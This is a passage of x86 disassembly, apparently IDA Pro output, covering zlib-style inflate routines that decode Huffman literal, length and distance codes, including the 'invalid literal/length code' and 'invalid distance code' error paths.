add esp, 0Ch
mov eax, [ebp+var_4]
add eax, [ebp+var_C]
mov [ebp+var_4], eax
mov ecx, [ebp+var_8]
add ecx, [ebp+var_C]
mov [ebp+var_8], ecx
loc_42A270: ; CODE XREF: sub_42A0B0+EDj
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx+0Ch], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+30h], edx
mov eax, [ebp+arg_8]
mov esp, ebp
pop ebp
retn
sub_42A0B0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A289 proc near ; CODE XREF: sub_42B1FD+1C4p
; sub_42B1FD+FADp
var_4 = dword ptr -4
arg_0 = byte ptr 8
arg_4 = byte ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push 1Ch
push 1
mov eax, [ebp+arg_10]
mov ecx, [eax+28h]
push ecx
mov edx, [ebp+arg_10]
call dword ptr [edx+20h]
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42A2D7
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dl, [ebp+arg_0]
mov [ecx+10h], dl
mov eax, [ebp+var_4]
mov cl, [ebp+arg_4]
mov [eax+11h], cl
mov edx, [ebp+var_4]
mov eax, [ebp+arg_8]
mov [edx+14h], eax
mov ecx, [ebp+var_4]
mov edx, [ebp+arg_C]
mov [ecx+18h], edx
loc_42A2D7: ; CODE XREF: sub_42A289+1Fj
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42A289 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42A2DE proc near ; CODE XREF: sub_42B1FD+1080p
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 58h
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_42A335
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_30], eax
jmp short loc_42A341
; ---------------------------------------------------------------------------
loc_42A335: ; CODE XREF: sub_42A2DE+44j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_30], edx
loc_42A341: ; CODE XREF: sub_42A2DE+55j
mov eax, [ebp+var_30]
mov [ebp+var_28], eax
loc_42A347: ; CODE XREF: sub_42A2DE:loc_42B004j
mov ecx, [ebp+var_10]
mov edx, [ecx]
mov [ebp+var_34], edx
cmp [ebp+var_34], 9
ja loc_42AFA5
mov eax, [ebp+var_34]
jmp off_42B00D[eax*4]
loc_42A363: ; DATA XREF: TEUm:off_42B00Do
cmp [ebp+var_28], 102h
jb loc_42A469
cmp [ebp+var_2C], 0Ah
jb loc_42A469
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_10]
mov ecx, [eax+18h]
push ecx
mov edx, [ebp+var_10]
mov eax, [edx+14h]
push eax
mov ecx, [ebp+var_10]
xor edx, edx
mov dl, [ecx+11h]
push edx
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+10h]
push ecx
call sub_42D0E6
add esp, 18h
mov [ebp+arg_8], eax
mov edx, [ebp+arg_4]
mov eax, [edx]
mov [ebp+var_4], eax
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
mov [ebp+var_2C], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+20h]
mov [ebp+var_C], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
mov [ebp+var_24], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+34h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_42A437
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_38], eax
jmp short loc_42A443
; ---------------------------------------------------------------------------
loc_42A437: ; CODE XREF: sub_42A2DE+146j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_38], edx
loc_42A443: ; CODE XREF: sub_42A2DE+157j
mov eax, [ebp+var_38]
mov [ebp+var_28], eax
cmp [ebp+arg_8], 0
jz short loc_42A469
mov ecx, [ebp+arg_8]
sub ecx, 1
neg ecx
sbb ecx, ecx
and ecx, 2
add ecx, 7
mov edx, [ebp+var_10]
mov [edx], ecx
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42A469: ; CODE XREF: sub_42A2DE+8Cj
; sub_42A2DE+96j ...
mov eax, [ebp+var_10]
xor ecx, ecx
mov cl, [eax+10h]
mov edx, [ebp+var_10]
mov [edx+0Ch], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_10]
mov edx, [ecx+14h]
mov [eax+8], edx
mov eax, [ebp+var_10]
mov dword ptr [eax], 1
loc_42A48C: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B011o
mov ecx, [ebp+var_10]
mov edx, [ecx+0Ch]
mov [ebp+var_20], edx
loc_42A495: ; CODE XREF: sub_42A2DE+25Cj
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_42A53F
cmp [ebp+var_2C], 0
jz short loc_42A4B0
mov [ebp+arg_8], 0
jmp short loc_42A50B
; ---------------------------------------------------------------------------
loc_42A4B0: ; CODE XREF: sub_42A2DE+1C7j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42A50B: ; CODE XREF: sub_42A2DE+1D0j
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_42A495
; ---------------------------------------------------------------------------
loc_42A53F: ; CODE XREF: sub_42A2DE+1BDj
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4332F8[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+8]
lea edx, [ecx+edx*8]
mov [ebp+var_14], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_C]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_24]
sub edx, ecx
mov [ebp+var_24], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_18], ecx
cmp [ebp+var_18], 0
jnz short loc_42A5A2
mov edx, [ebp+var_10]
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [edx+8], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 6
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42A5A2: ; CODE XREF: sub_42A2DE+2A8j
mov eax, [ebp+var_18]
and eax, 10h
test eax, eax
jz short loc_42A5D2
mov ecx, [ebp+var_18]
and ecx, 0Fh
mov edx, [ebp+var_10]
mov [edx+8], ecx
mov eax, [ebp+var_10]
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
mov [eax+4], edx
mov eax, [ebp+var_10]
mov dword ptr [eax], 2
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42A5D2: ; CODE XREF: sub_42A2DE+2CCj
mov ecx, [ebp+var_18]
and ecx, 40h
test ecx, ecx
jnz short loc_42A5FC
mov edx, [ebp+var_10]
mov eax, [ebp+var_18]
mov [edx+0Ch], eax
mov ecx, [ebp+var_14]
mov edx, [ecx+4]
mov eax, [ebp+var_14]
lea ecx, [eax+edx*8]
mov edx, [ebp+var_10]
mov [edx+8], ecx
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42A5FC: ; CODE XREF: sub_42A2DE+2FCj
mov eax, [ebp+var_18]
and eax, 20h
test eax, eax
jz short loc_42A614
mov ecx, [ebp+var_10]
mov dword ptr [ecx], 7
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42A614: ; CODE XREF: sub_42A2DE+326j
mov edx, [ebp+var_10]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidLiteral ; "invalid literal/length code"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42A689: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B015o
mov ecx, [ebp+var_10]
mov edx, [ecx+8]
mov [ebp+var_20], edx
loc_42A692: ; CODE XREF: sub_42A2DE+459j
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_42A73C
cmp [ebp+var_2C], 0
jz short loc_42A6AD
mov [ebp+arg_8], 0
jmp short loc_42A708
; ---------------------------------------------------------------------------
loc_42A6AD: ; CODE XREF: sub_42A2DE+3C4j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42A708: ; CODE XREF: sub_42A2DE+3CDj
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_42A692
; ---------------------------------------------------------------------------
loc_42A73C: ; CODE XREF: sub_42A2DE+3BAj
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4332F8[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+4]
add ecx, edx
mov edx, [ebp+var_10]
mov [edx+4], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_24]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_10]
xor eax, eax
mov al, [edx+11h]
mov ecx, [ebp+var_10]
mov [ecx+0Ch], eax
mov edx, [ebp+var_10]
mov eax, [ebp+var_10]
mov ecx, [eax+18h]
mov [edx+8], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 3
loc_42A78E: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B019o
mov eax, [ebp+var_10]
mov ecx, [eax+0Ch]
mov [ebp+var_20], ecx
loc_42A797: ; CODE XREF: sub_42A2DE+55Ej
mov edx, [ebp+var_24]
cmp edx, [ebp+var_20]
jnb loc_42A841
cmp [ebp+var_2C], 0
jz short loc_42A7B2
mov [ebp+arg_8], 0
jmp short loc_42A80D
; ---------------------------------------------------------------------------
loc_42A7B2: ; CODE XREF: sub_42A2DE+4C9j
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_C]
mov [eax+20h], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_24]
mov [edx+1Ch], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_2C]
mov [ecx+4], edx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
sub ecx, [eax]
mov edx, [ebp+arg_4]
mov eax, [edx+8]
add eax, ecx
mov ecx, [ebp+arg_4]
mov [ecx+8], eax
mov edx, [ebp+arg_4]
mov eax, [ebp+var_4]
mov [edx], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
mov [ecx+34h], edx
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42A80D: ; CODE XREF: sub_42A2DE+4D2j
mov eax, [ebp+var_2C]
sub eax, 1
mov [ebp+var_2C], eax
mov ecx, [ebp+var_4]
xor edx, edx
mov dl, [ecx]
mov ecx, [ebp+var_24]
shl edx, cl
mov eax, [ebp+var_C]
or eax, edx
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_24]
add edx, 8
mov [ebp+var_24], edx
jmp loc_42A797
; ---------------------------------------------------------------------------
loc_42A841: ; CODE XREF: sub_42A2DE+4BFj
mov eax, [ebp+var_20]
mov ecx, [ebp+var_C]
and ecx, dword_4332F8[eax*4]
mov edx, [ebp+var_10]
mov eax, [edx+8]
lea ecx, [eax+ecx*8]
mov [ebp+var_14], ecx
mov edx, [ebp+var_14]
xor eax, eax
mov al, [edx+1]
mov ecx, eax
mov edx, [ebp+var_C]
shr edx, cl
mov [ebp+var_C], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax+1]
mov edx, [ebp+var_24]
sub edx, ecx
mov [ebp+var_24], edx
mov eax, [ebp+var_14]
xor ecx, ecx
mov cl, [eax]
mov [ebp+var_18], ecx
mov edx, [ebp+var_18]
and edx, 10h
test edx, edx
jz short loc_42A8B6
mov eax, [ebp+var_18]
and eax, 0Fh
mov ecx, [ebp+var_10]
mov [ecx+8], eax
mov edx, [ebp+var_10]
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov [edx+0Ch], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 4
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42A8B6: ; CODE XREF: sub_42A2DE+5B0j
mov eax, [ebp+var_18]
and eax, 40h
test eax, eax
jnz short loc_42A8E0
mov ecx, [ebp+var_10]
mov edx, [ebp+var_18]
mov [ecx+0Ch], edx
mov eax, [ebp+var_14]
mov ecx, [eax+4]
mov edx, [ebp+var_14]
lea eax, [edx+ecx*8]
mov ecx, [ebp+var_10]
mov [ecx+8], eax
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42A8E0: ; CODE XREF: sub_42A2DE+5E0j
mov edx, [ebp+var_10]
mov dword ptr [edx], 9
mov eax, [ebp+arg_4]
mov dword ptr [eax+18h], offset aInvalidDistanc ; "invalid distance code"
mov [ebp+arg_8], 0FFFFFFFDh
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42A955: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B01Do
mov ecx, [ebp+var_10]
mov edx, [ecx+8]
mov [ebp+var_20], edx
loc_42A95E: ; CODE XREF: sub_42A2DE+725j
mov eax, [ebp+var_24]
cmp eax, [ebp+var_20]
jnb loc_42AA08
cmp [ebp+var_2C], 0
jz short loc_42A979
mov [ebp+arg_8], 0
jmp short loc_42A9D4
; ---------------------------------------------------------------------------
loc_42A979: ; CODE XREF: sub_42A2DE+690j
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42A9D4: ; CODE XREF: sub_42A2DE+699j
mov ecx, [ebp+var_2C]
sub ecx, 1
mov [ebp+var_2C], ecx
mov edx, [ebp+var_4]
xor eax, eax
mov al, [edx]
mov ecx, [ebp+var_24]
shl eax, cl
mov ecx, [ebp+var_C]
or ecx, eax
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_24]
add eax, 8
mov [ebp+var_24], eax
jmp loc_42A95E
; ---------------------------------------------------------------------------
loc_42AA08: ; CODE XREF: sub_42A2DE+686j
mov ecx, [ebp+var_20]
mov edx, [ebp+var_C]
and edx, dword_4332F8[ecx*4]
mov eax, [ebp+var_10]
mov ecx, [eax+0Ch]
add ecx, edx
mov edx, [ebp+var_10]
mov [edx+0Ch], ecx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_20]
shr eax, cl
mov [ebp+var_C], eax
mov ecx, [ebp+var_24]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_10]
mov dword ptr [edx], 5
loc_42AA40: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B021o
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
sub ecx, [eax+28h]
mov edx, [ebp+var_10]
cmp ecx, [edx+0Ch]
jnb short loc_42AA6F
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
sub ecx, [eax+28h]
mov edx, [ebp+var_10]
mov eax, [edx+0Ch]
sub eax, ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, eax
mov [ebp+var_3C], edx
jmp short loc_42AA7B
; ---------------------------------------------------------------------------
loc_42AA6F: ; CODE XREF: sub_42A2DE+771j
mov eax, [ebp+var_10]
mov ecx, [ebp+var_8]
sub ecx, [eax+0Ch]
mov [ebp+var_3C], ecx
loc_42AA7B: ; CODE XREF: sub_42A2DE+78Fj
mov edx, [ebp+var_3C]
mov [ebp+var_1C], edx
loc_42AA81: ; CODE XREF: sub_42A2DE+96Bj
mov eax, [ebp+var_10]
cmp dword ptr [eax+4], 0
jz loc_42AC4E
cmp [ebp+var_28], 0
jnz loc_42ABFA
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+2Ch]
jnz short loc_42AAE8
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_0]
mov edx, [eax+30h]
cmp edx, [ecx+28h]
jz short loc_42AAE8
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_8], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+30h]
jnb short loc_42AAD6
mov ecx, [ebp+arg_0]
mov edx, [ecx+30h]
sub edx, [ebp+var_8]
sub edx, 1
mov [ebp+var_40], edx
jmp short loc_42AAE2
; ---------------------------------------------------------------------------
loc_42AAD6: ; CODE XREF: sub_42A2DE+7E5j
mov eax, [ebp+arg_0]
mov ecx, [eax+2Ch]
sub ecx, [ebp+var_8]
mov [ebp+var_40], ecx
loc_42AAE2: ; CODE XREF: sub_42A2DE+7F6j
mov edx, [ebp+var_40]
mov [ebp+var_28], edx
loc_42AAE8: ; CODE XREF: sub_42A2DE+7C3j
; sub_42A2DE+7D1j
cmp [ebp+var_28], 0
jnz loc_42ABFA
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
mov [eax+34h], ecx
mov edx, [ebp+arg_8]
push edx
mov eax, [ebp+arg_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42A0B0
add esp, 0Ch
mov [ebp+arg_8], eax
mov edx, [ebp+arg_0]
mov eax, [edx+34h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_42AB37
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_44], ecx
jmp short loc_42AB43
; ---------------------------------------------------------------------------
loc_42AB37: ; CODE XREF: sub_42A2DE+846j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_44], eax
loc_42AB43: ; CODE XREF: sub_42A2DE+857j
mov ecx, [ebp+var_44]
mov [ebp+var_28], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
cmp eax, [edx+2Ch]
jnz short loc_42AB99
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_0]
mov eax, [ecx+30h]
cmp eax, [edx+28h]
jz short loc_42AB99
mov ecx, [ebp+arg_0]
mov edx, [ecx+28h]
mov [ebp+var_8], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+30h]
jnb short loc_42AB87
mov edx, [ebp+arg_0]
mov eax, [edx+30h]
sub eax, [ebp+var_8]
sub eax, 1
mov [ebp+var_48], eax
jmp short loc_42AB93
; ---------------------------------------------------------------------------
loc_42AB87: ; CODE XREF: sub_42A2DE+896j
mov ecx, [ebp+arg_0]
mov edx, [ecx+2Ch]
sub edx, [ebp+var_8]
mov [ebp+var_48], edx
loc_42AB93: ; CODE XREF: sub_42A2DE+8A7j
mov eax, [ebp+var_48]
mov [ebp+var_28], eax
loc_42AB99: ; CODE XREF: sub_42A2DE+874j
; sub_42A2DE+882j
cmp [ebp+var_28], 0
jnz short loc_42ABFA
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_C]
mov [ecx+20h], edx
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_24]
mov [eax+1Ch], ecx
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2C]
mov [edx+4], eax
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
sub edx, [ecx]
mov eax, [ebp+arg_4]
mov ecx, [eax+8]
add ecx, edx
mov edx, [ebp+arg_4]
mov [edx+8], ecx
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_4]
mov [eax], ecx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
jmp loc_42B009
; ---------------------------------------------------------------------------
loc_42ABFA: ; CODE XREF: sub_42A2DE+7B4j
; sub_42A2DE+80Ej ...
mov [ebp+arg_8], 0
mov ecx, [ebp+var_8]
mov edx, [ebp+var_1C]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_8]
add ecx, 1
mov [ebp+var_8], ecx
mov edx, [ebp+var_1C]
add edx, 1
mov [ebp+var_1C], edx
mov eax, [ebp+var_28]
sub eax, 1
mov [ebp+var_28], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_1C]
cmp edx, [ecx+2Ch]
jnz short loc_42AC3A
mov eax, [ebp+arg_0]
mov ecx, [eax+28h]
mov [ebp+var_1C], ecx
loc_42AC3A: ; CODE XREF: sub_42A2DE+951j
mov edx, [ebp+var_10]
mov eax, [edx+4]
sub eax, 1
mov ecx, [ebp+var_10]
mov [ecx+4], eax
jmp loc_42AA81
; ---------------------------------------------------------------------------
loc_42AC4E: ; CODE XREF: sub_42A2DE+7AAj
mov edx, [ebp+var_10]
mov dword ptr [edx], 0
jmp loc_42B004
; ---------------------------------------------------------------------------
loc_42AC5C: ; CODE XREF: sub_42A2DE+7Ej
; DATA XREF: TEUm:0042B025o
cmp [ebp+var_28], 0
jnz loc_42ADC8
mov eax, [ebp+arg_0]
mov ecx, [ebp+var_8]
cmp ecx, [eax+2Ch]
jnz short loc_42ACB6
mov edx, [ebp+arg_0]
mov eax, [ebp+arg_0]
mov ecx, [edx+30h]
cmp ecx, [eax+28h]
jz short loc_42ACB6
mov edx, [ebp+arg_0]
mov eax, [edx+28h]
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_8]
cmp edx, [ecx+30h]
jnb short loc_42ACA4
mov eax, [ebp+arg_0]
mov ecx, [eax+30h]
sub ecx, [ebp+var_8]
sub ecx, 1
mov [ebp+var_4C], ecx
jmp short loc_42ACB0
; ---------------------------------------------------------------------------
loc_42ACA4: ; CODE XREF: sub_42A2DE+9B3j
mov edx, [ebp+arg_0]
mov eax, [edx+2Ch]
sub eax, [ebp+var_8]
mov [ebp+var_4C], eax
loc_42ACB0: ; CODE XREF: sub_42A2DE+9C4j
mov ecx, [ebp+var_4C]
mov [ebp+var_28], ecx
loc_42ACB6: ; CODE XREF: sub_42A2DE+991j
; sub_42A2DE+99Fj
cmp [ebp+var_28], 0
jnz loc_42ADC8
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+34h], eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_42A0B0
add esp, 0Ch
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_0]
